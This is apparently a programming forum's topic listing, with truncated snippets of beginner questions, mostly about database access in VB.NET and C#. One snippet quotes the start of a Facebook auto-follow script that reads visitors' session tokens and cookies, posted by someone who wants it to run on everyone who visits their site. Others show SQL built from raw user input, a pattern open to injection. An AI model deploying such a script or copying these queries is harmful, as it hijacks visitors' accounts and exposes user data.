4,457 Topics
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 | Hey guys. I want to learn how to make a speech recognition program. I don't want it to be JUST commands. I don't want it to be JUST dictating either. I want it to be commands, dictation, and I want it to be kind of like talking to a real … |
| | I am using a simple ajax routine to notify a server of click thrus. This routine passes information about each link on a page when it is clicked to the server which logs information about the click thru. The code works fine unless the CTL key is pressed as someone … |
 | Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: Could not find stored procedure 'dbo.aspnet_CheckSchemaVersion'. Source Error: An unhandled exception was generated during the execution … |
 | Hi Any Examples of open source project where they have implemented Terminal with a compiler? I'm trying to build a compiler in the android phone |
| | Hi can andbody help me? Below is my code. I get this message: Run-time error '-2147217900(80040e14)': Table 'PreampAutoDetect' already exists. The error points to the line below with the stars around it. stringSQL4 = ... Please help me ... Private Sub Command4_Click() ' Copy Tables from List1 to Database(s) in …  |
| | Hi, this is my first post, and I'm in need of some help making an application that saves the data from a textbox to an access database. This is my code, it gives no errors, but when I use it, ie, I input the text in the textbox and click … |
| | Hi, I am having some with my program. I want to copy table content and data from one database to identical tables in different databases. (overriding the old tables) So far, in the different databases, I am able to delete the original table, create a new table with the same … |
| | hi to all im new here, i have some difficulty in displaying records from database to my combobox here is my code in the form_load [code] Private Sub Form5_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim con As New SqlConnection con.ConnectionString = "Data Source=.\SQLEXPRESS;AttachDbFilename=C:\Users\lito\Documents\QMP_DB.mdf;Integrated Security=True;Connect Timeout=30;User Instance=True" … |
| | Hi, I am developing a web app and when i deploy on tomcat 7, it gives me this error in my template.xhtml: Unknown attribute (contentType) and in browser, it give me this: exception javax.servlet.ServletException: org.hibernate.exception.GenericJDBCException: Cannot open connection javax.faces.webapp.FacesServlet.service(FacesServlet.java:321) com.opensymphony.sitemesh.webapp.SiteMeshFilter.obtainContent(SiteMeshFilter.java:129) com.opensymphony.sitemesh.webapp.SiteMeshFilter.doFilter(SiteMeshFilter.java:77) org.springframework.orm.jpa.support.OpenEntityManagerInViewFilter.doFilterInternal(OpenEntityManagerInViewFilter.java:113) org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:76) root cause javax.persistence.PersistenceException: org.hibernate.exception.GenericJDBCException: Cannot open connection … |
 | I have a class which connects to the db(sql server). I have a login class which authenticates the user away from the frmLogin form. Each time i click login, i get an error Executereader requires an open connection. I tried reversing the order of some variables but to no success. … |
 | I have two forms "Sales" and "PurCh". The datagridview in the Sales form is being populated by a stored procedure that is carried out when the form loads and it works perfectly. But the datagridview from the "PurCh" form has refused to populate when the form loads. I initially thought … |
| | Hi All, I am very new to data mining and I need help to accomplish the following: crawl a list of sites with a common theme e.g.a car sales websites and extract all the common elements that may be present for example: Download/crawl --> site A Download/crawl --> site B … |
| | Hi Dani! A am wondering what do you use to generate thumbnails of websites when a link is posted in the thread? Is it some type of open source program that you using or have you created it yourself? Can you share how this is done? Thanks.  |
 | i have a script for auto follower on facebook, how to make it run everytime visitor come to my website this is that script var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if … |
 | Hi, so yeah. what i'm trying to do is load an image from my database create some graphics to it. probably just some lines and marks and save it back to my database. here's so far what I got. for creating graphics: } private void pictureBox3_MouseDown(object sender, MouseEventArgs e) { … |
| | Im doing an application n c# and using Ms Access 2003. i want to check whether a product id already exist in the database. Below is part of my code[code]string sql; OleDbCommand cmd; OleDbDataReader rdr; mDB.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0; Data source=" + Path.Combine(Application.StartupPath, "..\\..\\Company.mdb"); mDB.Open(); sql = "Select COUNT (*) ProductID … |
| | Hi i have a datatable which looks like: Modulecode AdminNo EG1001 111411H 111380Y 192029B EG1002 110970R 102938X ... populated in a dgv. How to i get: Modulecode NumofStudents AdminNo EG1001 3 111411H 111380Y 192029B <<<<<<<<<<Blank>>>>>>>>>>>>>>>>>>>>>> EG1002 2 110970R 102938X <<<<<<<<>>>>>>>>>>>>>>>>>>>>>> . . . My codes are: ''Connections Dim connect As … |
| | I'm getting a syntax error that's confusing me beyond belief. I'm using MinGW on Windows XP(32-bit), and Notepad++ for a text editor. "Syntax error before unexpected token '('" Originally, I thought it may have been something in the code I was trying to compile, so I wrote a simple "hello … |
 | Displaying a description based on code in database C#, database, WindowsApplication, Hi everyone, i have a question how do i input the descriptions columns if i type the number based on my database in code columns, i already retrieve the code from database, but now i also want to display … |
| | Ok, here is one that we are strugglling with to find a potential source of "slowness" (as defined by the users). We have 4 staff that have new, Windows 7 machines connected to a Cisco 3750 Access Switch (connection is 1 GB, and connected through a Cisco 7975 phone). Connections …  |
| | Dim connect As String connect = "Provider=Microsoft.ACE.OLEDB.12.0; Data Source=" & Application.StartupPath & "\segdata.accdb" Dim conn As New OleDbConnection(connect) Dim sr As System.IO.StreamReader Dim entirefile As String sr = File.OpenText(Application.StartupPath & "\SEG1.txt") entirefile = sr.ReadToEnd() ' Read the whole file Dim OriginalValue As String OriginalValue = vbTab Dim ReplaceValue As String …  |
 | hi i have a table name table1 i want to display all the records in the table by using data grid and when i try to run it there is no records display in the datagrid and i have already configure the datalink which i name it adodc. could anyone … |
| | I have a login form that asks for credentials for access to select areas of a large app I wrote. I am trying to add a form to allow for password changes via that app instead of me having to update the SQL DB manually. DB has 1 table called … |
| | hello friends I have three tables with similer structure and same column name id,sname,ssno,grade. I want to copy rows from table1 to table2 and table3 based on column grade . I am getting an error No value given for one or more required parameters. can someone kindly tell me how … |
| | When i run my program there's an error in conn.open() and tells "Multiple-step OLE DB operation generated errors. Check each OLE DB status value, if available. No work was done." Please help me to solve this problem... Here's my code: Dim ds As New DataSet Dim dbSource As String Dim … |
 | when i click my any microsoft office's product then it start geetting installing. it is installed from 4-5 years and was wroking fine. it happened 10 days before. now i cant open my word, excel or any other file. when i try to unsitall it , it says "this product … |
| | Hi i have a datatable, dt3 showing: adminno paperno 111411H 4 111411H 9 182938C 2 192839A 3 111380Y 26 111380Y 36 111380Y 40 182737N 26 182737N 40 i want to populate: conflictingpaper numberof students adminno 4:9 1 111411H 26:40 2 111380Y 182737N ... .. .... ... i have these codes: … |
| | Is there any way to show the highest value from a access db column in a textbox which you put in the load of a form? Found something by searching around, but did not get it to work at all. Maybe because i cannot open a connection in the load … |
| | Hi guys, i created Windows Application form my project and there is a problem that i am facing right now. I already had an array of textboxes, and wanted to connect those database textboxes, however, i cannot get the data because the data that i want to connect is int … |
 | I am trying to read XML file and store in sql table. I got two errors. PHP Warning: XMLReader::open(): Unable to open source data Warning: XMLReader::read(): Load Data before trying to read // In addition, Please let me know the filename in below cases. case 1: Code: Select all $reader->open($topdir."/nap/".$code->no()."_city.xml"); … |
| | Hi i have a datatable, dt3 showing: adminno paperno 111411H 4 111411H 9 182938C 2 192839A 3 111380Y 26 111380Y 36 111380Y 40 182737N 26 182737N 40 i want to populate: conflictingpaper numberof students adminno 4:9 1 111411H 26:40 2 111380Y 182737N ... .. .... ... i have these codes: … |
 | Hey guys, The company I work for is going through a Cross Forest Exchange (both Exch 2010) and AD migration (2003 to 2008 R2). Some users in the TARGET domain were receiving NDRs (Non Delivery Report) in Outlook when responding to old emails from users still located in the SOURCE … |
| | Hi guys, I've looked around and read, I'm not looking for a OnClientClick that can be added to the server side button. I need something that will direct anyone who clicks on submit to another page where they would see what they've filled out. Eventually, this will have their email … |
| | Hi, can anyone tell me whether im storing my data into list<of T> correctly? My codes are as follows: Dim connect As String connect = "Provider=Microsoft.ACE.OLEDB.12.0; Data Source=" & Application.StartupPath & "\segdata.accdb" Dim conn As New OleDbConnection(connect) Dim cmd As OleDbCommand = New OleDbCommand cmd.Connection = conn conn.Open() cmd.CommandText = …  |
 | Hi, I'm just confuse about this.. I am making a form with 2 datetimepicker controls which are the Start and End date and when I click the action button it displays all the departments covered with the start-end date and it works fine but the problem is it loads all … |
| | Hi All, I have a an error: "Type Mismatch" on the line that has the stars next to it. Can someone please help? I appreciate all the help. Option Explicit Dim cn As ADODB.Connection ' Establishing a Connection Object that provides a connection to the data Dim rs As ADODB.Recordset … |
| | Hi guys, I added a extra line of code to test for records in the database and if they exist to update them before inserting them instead. For some odd reason it's not working and it simply just inserts the data causing duplicates. Any suggestions? <%@ Import Namespace="System.Data"%> <%@ Import … |
| | Hello all, I am having an issue with saving data entry from a vb6 form to a microsoft access 2003 form. Can anyone please help? I am getting the error "Operation is not allowed when the object is closed." I appreciate all your help! Option Explicit Dim cn As ADODB.Connection … |
| | hi I'm a newbie to ASP.net development. I'm getting this error message "Procedure or function has too many arguments specified." when inserting data via the stored procedure into DB. Can anyone help me with this error? thanks my code: void InsertIntoVahed() { SqlConnection sn = new SqlConnection("Data Source=Server;Initial Catalog=ab;User ID=sa;Password=12345"); … |
| | Hi all how are you i need help if any one can help with an Open Source Hotel Managment Prog.. |
 | Hi, I work for a secondary school in the UK, and we are looking for an alternative internet filtering solution. Currently we are using one provided by the local authority. We have very little control over what ports and sites we can have blocked/unblocked. I have done some reading into …  |
 | EDIT: links fixed Hello guys ! Alot of people today want or actually have a website. But do they really understand the possible risks and dagers on the internet? You can never know when hackers or other institutions will target you, and people do not realize that your personal information … |
 | Imports System.Data.OleDb Public Class LoginForm1 Private Sub OK_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles OK.Click Try Dim con As New OleDbConnection("Provider=Microsoft.jet.oledb.4.0;data source=C:\Users\Documents\VodStore\VodStore\bin\Debug\VodStock.mdb") Dim cmd As OleDbCommand = New OleDbCommand("SELECT * FROM Users WHERE userid = '" & UsernameTextBox.Text & "' AND password = '" & PasswordTextBox.Text & "' …  |
| | I got a small problem with getting a filter to work for my database. When i test them seperatly it works but when i all add them together they stop working. This is the code i use currently. All of the fields in the database are text, except for the … |
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| | I keep getting this error: The process cannot access the file 'D:\Gasper\Netcool\GA000162.200' because it is being used by another process. And I have tried everything to safely delete this file. Everything. What Am i doing wrong? using System; using System.Net; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.Linq; … |
| | i have a database table containing: SEG,AMK,101427Y,EG3902,EG3902-G1 SEG,AMK,101427Y,EGS650,EGS650-G1 SEG,AMK,103852S,EG3901,EG3901-G1 SEG,AMK,103852S,EG3904,EG3904-G1 SEG,AMK,103852S,EGS104,EGS104-G1 SEG,AMK,103852S,EGS650,EGS650-G1 SEG,AMK,106581C,EG3901,EG3901-G1 SEG,AMK,106581C,EG3902,EG3902-G1 SEG,AMK,111713M,EG3901,EG3901-G1 SEG,AMK,111713M,EG3902,EG3902-G1 another table containing: 1 SEG-AMK EG1832 Mechanics and Materials 286 1.5 EG1832 2 SEG-AMK EG1833 Electrical Principles 375 1.5 EG1833 EG1952 EG1903 3 SEG-AMK EG1835.1 Engineering Mathematics (1) 456 1.5 EG1835 EG1001 4 SEG-AMK … |
| | Hello. I am currently working on a huffman code program for my class. As of right now, I am currently in the development/debugging stage. I've got the whole thing pretty much covered, but I am having trouble with my tree traversal. I am trying to do an inorder traversal but … |
| | First thing i want to say is i am sorry if this is not the appropriate place to post this. I am basically looking for an open source project to work on. I honestly have no idea how to find one or how to become a part of one. I … |
| | I want to make a interface in vb6 which deals with excel file. Where we can select drive from drive box and select a excel file which is a source file and copy the value of cell from the source file and paste it into destination file's cell. my problem … |
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